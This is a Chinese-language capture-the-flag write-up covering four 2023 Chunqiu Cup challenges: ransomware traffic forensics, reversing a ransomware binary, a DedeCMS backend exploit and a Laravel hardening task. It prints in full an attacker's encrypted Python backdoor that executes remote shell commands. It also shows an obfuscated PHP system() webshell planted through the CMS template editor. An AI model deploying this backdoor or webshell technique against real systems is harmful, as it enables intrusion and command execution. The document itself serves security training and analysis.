【WP】2023年春秋杯冬季赛挑战题题目解析

admin 2024年1月31日15:12:40评论30 views字数 10313阅读34分22秒阅读模式
在这次春秋杯冬季赛中,伽玛实验室从勒索病毒攻击的实际场景出发,精心设计了四道挑战题目。这些题目旨在考验参赛者的技术能力,同时也希望参赛者能够通过这个过程,深入理解和应对勒索病毒攻击的复杂性。我们真诚地期待,每一位参赛者都能从这些挑战中学到新的知识,提升个人技能,并在未来的网络安全领域中发挥他们的潜力。

+ + + + + + + + + + + 

1. 勒索流量

【WP】2023年春秋杯冬季赛挑战题题目解析

过滤HTTP流量,发现先是扫描文件,接着试探上传多种木马文件

【WP】2023年春秋杯冬季赛挑战题题目解析

最后成功上传了.user.ini 一句话木马

【WP】2023年春秋杯冬季赛挑战题题目解析

接着攻击者利用一句话木马写入了Webshell

【WP】2023年春秋杯冬季赛挑战题题目解析

解密发现是蚁剑马

【WP】2023年春秋杯冬季赛挑战题题目解析

根据蚁剑马的规则,只需要拿出参数,去掉前两个字符再解base64即可解密流量,依次解密流量

【WP】2023年春秋杯冬季赛挑战题题目解析

【WP】2023年春秋杯冬季赛挑战题题目解析

【WP】2023年春秋杯冬季赛挑战题题目解析

【WP】2023年春秋杯冬季赛挑战题题目解析

发现攻击者上传了一个勒索信文件,文件内容如图

接着在后面的流量包中,攻击者上传了一个s3cerT.txt文件,内容为R@ns0mwar3_V1ru5

【WP】2023年春秋杯冬季赛挑战题题目解析

【WP】2023年春秋杯冬季赛挑战题题目解析

【WP】2023年春秋杯冬季赛挑战题题目解析

接着解密,

【WP】2023年春秋杯冬季赛挑战题题目解析

【WP】2023年春秋杯冬季赛挑战题题目解析

发现攻击者上传了一个server.py文件,server.py内容为

import socket
from Crypto.Cipher import ARC4
import base64
import os
import json
import hashlib


def calculate_md5(string):
    md5_hash = hashlib.md5()
    md5_hash.update(string.encode('utf-8'))
    md5_hex = md5_hash.hexdigest()
    return md5_hex


from Crypto.Cipher import ARC4
import base64
import json

with open("./s3creT.txt""r"as f:
    key = f.read()
key = calculate_md5(key)


def rc4_encrypt(data, key1):
    key = bytes(key1, encoding='utf-8')
    enc = ARC4.new(key)
    res = enc.encrypt(data.encode('utf-8'))
    res = base64.b64encode(res)
    res = str(res, 'utf-8')
    return res


def rc4_decrypt(data, key1):
    data = base64.b64decode(data)
    key = bytes(key1, encoding='utf-8')
    enc = ARC4.new(key)
    res = enc.decrypt(data)
    res = str(res, 'gbk', errors='ignore')
    return res


def t1(data):
    import re
    from datetime import datetime, timedelta
    current_time = datetime.now()
    target_time = current_time.replace(second=0, microsecond=0)
    timestamp = int(target_time.timestamp())
    key1 = hex(timestamp)[2:].zfill(8)
    key1 = re.findall(r'.{2}', key1)
    key1 = [int(i, 16for i in key1]
    data = list(data)
    for i in range(len(data)):
        data[i] = chr(ord(data[i]) ^ key1[i % 4])
    data = ''.join(data)
    return data


def decrypt(data, key):
    data = t1(data)
    data = rc4_decrypt(data, key)
    return data


def encrypt(data, key):
    data = rc4_encrypt(data, key)
    data = t1(data)

    return data


def system(cmd):
    res = os.popen(cmd).read()
    return res if res else "NoneResult"


def main():
    ip = '192.168.31.42'
    port = 8899
    socket_server = socket.socket(family=socket.AF_INET, type=socket.SOCK_STREAM)
    socket_server.bind((ip, port))
    socket_server.listen(1)
    while True:
        conn, addr = socket_server.accept()
        with conn:
            print("connect::", addr)
            try:
                while True:
                    data = conn.recv(102400)
                    # print("server recevie peername and data:", conn.getpeername(), data.decode())
                    if data:
                        data = data.decode()
                        data = decrypt(data, key)
                        data = json.loads(data)
                        if data["opcode"] == "shell":
                            print("shellCMD::", data["msg"])
                            res = system(data["msg"])
                            print("res::", res)
                            conn.sendall(encrypt(res, key).encode())
                    else:
                        break
            except ConnectionResetError as e:
                print("远程连接断开")


if __name__ == '__main__':
    main()

分析后可以知道这是一个socket通信的脚本,采用RC4加密,key来自s3creT.txt文件内容的md5结果,并且用xor异或时间戳

【WP】2023年春秋杯冬季赛挑战题题目解析

但是继续追踪流发现,攻击者修改了该server脚本

【WP】2023年春秋杯冬季赛挑战题题目解析

【WP】2023年春秋杯冬季赛挑战题题目解析

import socket
from Crypto.Cipher import ARC4
import base64
import os
import json
import hashlib


def calculate_md5(string):
    md5_hash = hashlib.md5()
    md5_hash.update(string.encode('utf-8'))
    md5_hex = md5_hash.hexdigest()
    return md5_hex


from Crypto.Cipher import ARC4
import base64
import json

with open("./s3creT.txt""r"as f:
    key = f.read()
key = calculate_md5(key)


def rc4_encrypt(data, key1):
    key = bytes(key1, encoding='utf-8')
    enc = ARC4.new(key)
    res = enc.encrypt(data.encode('utf-8'))
    res = base64.b64encode(res)
    res = str(res, 'utf-8')
    return res


def rc4_decrypt(data, key1):
    data = base64.b64decode(data)
    key = bytes(key1, encoding='utf-8')
    enc = ARC4.new(key)
    res = enc.decrypt(data)
    res = str(res, 'gbk', errors='ignore')
    return res


def t1(data):
    import re
    from datetime import datetime, timedelta
    current_time = datetime.now()
    target_time = current_time.replace(second=0, microsecond=0)
    timestamp = int(target_time.timestamp())
    key1 = hex(timestamp)[2:].zfill(8)
    key1 = re.findall(r'.{2}', key1)
    key1 = [int(i, 16for i in key1]
    data = list(data)
    for i in range(len(data)):
        data[i] = chr(ord(data[i]) ^ key1[i % 4])
    data = ''.join(data)
    return data


def decrypt(data, key):
    data = t1(data)
    data = rc4_decrypt(data, key)
    return data


def encrypt(data, key):
    data = rc4_encrypt(data, key)
    data = t1(data)

    return data


def system(cmd):
    res = os.popen(cmd).read()
    return res if res else "NoneResult"


def main():
    ip = '192.168.31.42'
    port = 9999
    socket_server = socket.socket(family=socket.AF_INET, type=socket.SOCK_STREAM)
    socket_server.bind((ip, port))
    socket_server.listen(1)
    while True:
        conn, addr = socket_server.accept()
        with conn:
            print("connect::", addr)
            try:
                while True:
                    data = conn.recv(102400)
                    # print("server recevie peername and data:", conn.getpeername(), data.decode())
                    if data:
                        data = data.decode()
                        data = decrypt(data, key)
                        data = json.loads(data)
                        if data["opcode"] == "shell":
                            print("shellCMD::", data["msg"])
                            res = system(data["msg"])
                            print("res::", res)
                            conn.sendall(encrypt(res, key).encode())
                    else:
                        break
            except ConnectionResetError as e:
                print("远程连接断开")


if __name__ == '__main__':
    main()

其中发现脚本中通过socket9999端口通信,直接过滤tcp.port==9999,拿出data手动解密,基本上可以直接套用里面的解密函数,只是需要手动设置一下时间戳,时间戳通过Epoch Time来获得

【WP】2023年春秋杯冬季赛挑战题题目解析

依次copy走里面的data和时间戳,放在下面的脚本中即可依次解密

import socket
from Crypto.Cipher import ARC4
import base64
import os
import json
import hashlib


def calculate_md5(string):
    md5_hash = hashlib.md5()
    md5_hash.update(string.encode('utf-8'))
    md5_hex = md5_hash.hexdigest()
    return md5_hex


from Crypto.Cipher import ARC4
import base64
import json

# with open("./s3creT.txt", "r") as f:
#     key = f.read()
key="R@ns0mwar3_V1ru5"
key = calculate_md5(key)


def rc4_encrypt(data, key1):
    key = bytes(key1, encoding='utf-8')
    enc = ARC4.new(key)
    res = enc.encrypt(data.encode('utf-8'))
    res = base64.b64encode(res)
    res = str(res, 'utf-8')
    return res


def rc4_decrypt(data, key1):
    data = base64.b64decode(data)
    key = bytes(key1, encoding='utf-8')
    enc = ARC4.new(key)
    res = enc.decrypt(data)
    res = str(res, 'gbk', errors='ignore')
    return res


def t1(data,time):
    import re
    from datetime import datetime, timedelta
    # current_time = datetime.now()
    current_time = datetime.fromtimestamp(time)
    target_time = current_time.replace(second=0, microsecond=0)
    timestamp = int(target_time.timestamp())
    key1 = hex(timestamp)[2:].zfill(8)
    key1 = re.findall(r'.{2}', key1)
    key1 = [int(i, 16for i in key1]
    data = list(data)
    for i in range(len(data)):
        data[i] = chr(ord(data[i]) ^ key1[i % 4])
    data = ''.join(data)
    return data


def decrypt(data, key,time):
    data = t1(data,time)
    data = rc4_decrypt(data, key)
    return data


def encrypt(data, key):
    data = rc4_encrypt(data, key)
    data = t1(data)

    return data


def system(cmd):
    res = os.popen(cmd).read()
    return res if res else "NoneResult"


if __name__ == '__main__':
    data="16c3b2c295c3be04c29cc29fc3a90cc39ec2a3c39937c391c3a7c3811cc38bc3a0c39b29c29ac2b1c3b830c3b2c286c3a13cc38ac296c38d13c3a2c29dc3920bc3bac2a8c2bb22c29bc287c3a328c3afc29cc3bd27c390c3a6c38110c381c2a5c381"
    data=bytes.fromhex(data)
    print(data)
    data=data.decode("utf-8")
    res=decrypt(data,key,1705562796.602401000)
    print(res)

2. Lock-AI

【WP】2023年春秋杯冬季赛挑战题题目解析

  1. 程序进程要成功运行有几个条件

    1.ZwSetInformation反调试器

    2.计算机名等于Ai-Node

    3.计算机用户名等于NodeUser

    4.CPUID 返回 _GenericVirt

    5.当前ProcessID在1000-3000

    patch 完后即可加密

【WP】2023年春秋杯冬季赛挑战题题目解析

  1. 后面的代码发现了OpenSSL特征,通过对比OpenSSL源码发现代码进行了AES-ECB加密。
  2. 编写exp.py,获得flag.png
import ctypes
from Crypto.Cipher import AES

libc = ctypes.CDLL('msvcrt.dll')
rand = libc.rand
srand = libc.srand
data = open("flag.png.enc","rb").read()
for i in range(1000,3001,4):
 srand(i)
 key = b''
 for _ in range(32):
  key += int.to_bytes(rand() & 0xff,length=1,byteorder='little')
 cipher = AES.new(key, AES.MODE_ECB)
 plain = cipher.decrypt(data)
 if plain[:4] == b'x89PNG':
  open('flag.png','wb').write(plain)
  exit(0)

3. ezdede

【WP】2023年春秋杯冬季赛挑战题题目解析

目前最新版本的DedeCMS V5.7.112,访问题目环境:

【WP】2023年春秋杯冬季赛挑战题题目解析

访问/dede/目录登录后台,这里我把验证码关了,可以直接爆破,账号密码为admin/admin@123:

【WP】2023年春秋杯冬季赛挑战题题目解析

登录后进入模板编辑->标签源码管理: 

【WP】2023年春秋杯冬季赛挑战题题目解析

随便选择一个php文件进行编辑:

【WP】2023年春秋杯冬季赛挑战题题目解析

填入代码:

<?php
(s.y.s.t.e.m)(base64_decode("Y2F0IC9mbGFn"));

点击保存之后就修改成功了 :

【WP】2023年春秋杯冬季赛挑战题题目解析

文件路径在include/taglib/文件夹下,访问即可获取flag:

【WP】2023年春秋杯冬季赛挑战题题目解析

4. best_practice

【WP】2023年春秋杯冬季赛挑战题题目解析

本RDG场景存在的漏洞如下:

  • 项目根目录配置用的.env文件可以被访问,导致mysql的账户名密码泄露,可以通过项目自带的adminer访问到数据库
  • laravel的默认日志/storage/logs/laravel.log泄露
  • vendor目录下的cli测试文件可以被外界访问,导致反序列化的产生

修补方案:

首先,需要把整个项目的启动文件index.php移动到public目录里,这里也要注意文件包含的路径,之前的index.php在根目录下,包含autoload.php是require __DIR__.'/vendor/autoload.php';,而这里要加一个../

最后修补后的index.php文件内容如下:

<?php

use IlluminateContractsHttpKernel;
use IlluminateHttpRequest;

define('LARAVEL_START', microtime(true));

if (file_exists($maintenance = __DIR__.'/../storage/framework/maintenance.php')) {
    require $maintenance;
}

require __DIR__.'/../vendor/autoload.php';


$app = require_once __DIR__.'/../bootstrap/app.php';

$kernel = $app->make(Kernel::class);

$response = $kernel->handle(
    $request = Request::capture()
)->send();

$kernel->terminate($request, $response);

执行

rm /app/index.php && cp ./index.php /app/public/index.php

然后要保证adminer可访问,把adminer移动到public目录下,执行

mv /app/adminer.php /app/public/adminer.php

同时要修改前端的模板文件,让静态文件路径正常渲染,这里前端文件代码省略,主要是把静态文件路径前边的public删掉(checker里有对图片能否正常渲染的检测)

cp app.blade.php /app/resources/views/layouts/app.blade.php 
cp index.blade.php /app/resources/views/index.blade.php 

然后停掉php的进程,切换到public目录再重启进程

pkill -f "php -S"
cd /app/public && /usr/local/bin/php -S 0.0.0.0:80 &

这样便可以修复上述所有漏洞。

GAME福利

为了让更多选手可以回味本次比赛的精彩过程,持续学习和训练,春秋GAME团队将本次的ctf题目部署到i春秋CTF大本营的“2023年春秋杯网络安全联赛冬季赛”,欢迎各位师傅交流讨论。

https://www.ichunqiu.com/competition
【WP】2023年春秋杯冬季赛挑战题题目解析

春秋杯网络安全联赛将持续打造网络安全新社区,希望更多参赛选手通过比赛结识志同道合的朋友以及交流经验和技巧,欢迎更多伙伴加入春秋杯赛事宇宙,期待大家再次相聚,继续挑战新高度,探索更广阔的宇宙星河!

春秋杯赛事交流QQ群:277328440;

春秋杯赛事交流群(微信群),进群请加微信:LNX131020

相关阅读

【WP】2023年春秋杯冬季赛WEB、PWN类题目解析

【WP】2023年春秋杯冬季赛misc、reverse、crypto类题目解析

【WP】2023年春秋杯冬季赛挑战题题目解析

原文始发于微信公众号(春秋伽玛):【WP】2023年春秋杯冬季赛挑战题题目解析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月31日15:12:40
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【WP】2023年春秋杯冬季赛挑战题题目解析https://cn-sec.com/archives/2449537.html

发表评论

匿名网友 填写信息